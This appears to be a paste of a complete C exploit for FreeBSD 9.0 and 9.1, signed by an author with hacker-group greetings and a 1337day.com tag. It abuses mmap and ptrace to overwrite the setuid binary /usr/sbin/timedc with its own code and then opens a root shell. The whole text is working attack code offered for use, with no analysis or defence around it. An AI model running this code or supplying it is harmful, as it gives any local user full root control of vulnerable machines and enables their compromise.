SHOW:
|
|
- or go back to the newest paste.
| 1 | /* | |
| 2 | * FreeBSD 9.{0,1} mmap/ptrace exploit
| |
| 3 | * by Hunger <[email protected]> | |
| 4 | * | |
| 5 | * Happy Birthday FreeBSD! | |
| 6 | * Now you are 20 years old and your security is the same as 20 years ago... :) | |
| 7 | * | |
| 8 | * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs, prof, | |
| 9 | * sd, sghctoma, snq, spender, s2crew and others at #hekkcamp: | |
| 10 | * I hope we'll meet again at 8@1470n ;) | |
| 11 | * | |
| 12 | * Special thanks to proactivesec.com | |
| 13 | * | |
| 14 | */ | |
| 15 | ||
| 16 | #include <err.h> | |
| 17 | #include <errno.h> | |
| 18 | #include <unistd.h> | |
| 19 | #include <stdio.h> | |
| 20 | #include <stdlib.h> | |
| 21 | #include <string.h> | |
| 22 | #include <fcntl.h> | |
| 23 | #include <sys/stat.h> | |
| 24 | #include <sys/mman.h> | |
| 25 | #include <sys/types.h> | |
| 26 | #include <sys/ptrace.h> | |
| 27 | #include <sys/wait.h> | |
| 28 | ||
| 29 | #define SH "/bin/sh" | |
| 30 | #define TG "/usr/sbin/timedc" | |
| 31 | ||
| 32 | int | |
| 33 | main(int ac, char **av) {
| |
| 34 | int from_fd, to_fd, status; | |
| 35 | struct stat st; | |
| 36 | struct ptrace_io_desc piod; | |
| 37 | char *s, *d; | |
| 38 | pid_t pid; | |
| 39 | ||
| 40 | if (geteuid() == 0) {
| |
| 41 | setuid(0); | |
| 42 | execl(SH, SH, NULL); | |
| 43 | return 0; | |
| 44 | } | |
| 45 | ||
| 46 | printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
| |
| 47 | printf("by Hunger <[email protected]>\n");
| |
| 48 | ||
| 49 | if ((from_fd = open(av[0], O_RDONLY)) == -1 || | |
| 50 | (to_fd = open(TG, O_RDONLY)) == -1) | |
| 51 | err(1, "open"); | |
| 52 | ||
| 53 | if (stat(av[0], &st) == -1) | |
| 54 | err(2, "stat"); | |
| 55 | ||
| 56 | if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ, | |
| 57 | MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) || | |
| 58 | (d = mmap(NULL, (size_t)st.st_size, PROT_READ, | |
| 59 | MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED) | |
| 60 | err(3, "mmap"); | |
| 61 | ||
| 62 | if ((pid = fork()) == -1) | |
| 63 | err(4, "fork"); | |
| 64 | ||
| 65 | if (!pid) {
| |
| 66 | if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) | |
| 67 | err(5, "ptraceme"); | |
| 68 | ||
| 69 | return 0; | |
| 70 | } | |
| 71 | ||
| 72 | if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) | |
| 73 | err(6, "ptattach"); | |
| 74 | ||
| 75 | if (wait(&status) == -1) | |
| 76 | err(7, "wait"); | |
| 77 | ||
| 78 | piod.piod_op = PIOD_WRITE_D; | |
| 79 | piod.piod_offs = d; | |
| 80 | piod.piod_addr = s; | |
| 81 | piod.piod_len = st.st_size; | |
| 82 | ||
| 83 | if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) | |
| 84 | err(8, "ptio"); | |
| 85 | ||
| 86 | execl(TG, TG, NULL); | |
| 87 | ||
| 88 | return 0; | |
| 89 | } | |
| 90 | ||
| 91 | # A65B674C93E82DCA 1337day.com [2014-09-08] D683B0B3C8033AD4 # |
